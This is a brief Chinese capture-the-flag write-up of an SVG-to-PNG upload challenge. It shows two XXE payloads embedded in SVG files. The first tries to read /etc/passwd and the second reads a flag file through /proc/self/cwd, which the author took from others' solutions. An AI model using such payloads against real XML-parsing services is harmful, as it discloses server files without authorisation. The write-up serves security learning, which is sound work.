打开题目发现是一个文件上传,显示为SVG到PNG的格式转换。
我们随便上传点其他文件试试,发现一律返回500。看来只能上传SVG。
之前从来没有接触过SVG相关的题目,去了解了下,发现SVG是这样一种神奇的语言
SVG 是一种用于描述二维图形的 XML 标记语言,与位图图像不同,SVG图像以文本形式存储,并且可以缩放到任意大小而不会失真,因为它们基于数学描述而不是像素。
之前一直以为svg是纯正的图片,原来是以文本形式进行存储的。
既然是以文本形式进行存储,且是一种XML标记语言,我们自然而然就联想到XXE漏洞
尝试读取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
(不知为何返回500,读取失败
没太搞懂这题的一些细节,上网查找wp发现基本上都是直接读取/proc/self/cwd/flag.txt,猜测可能是因为根目录下没发现,就去当前目录找吧
放一下wp
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
这个题做的很失败,后面多了解下原理,回来详细重写下题解
Comments | NOTHING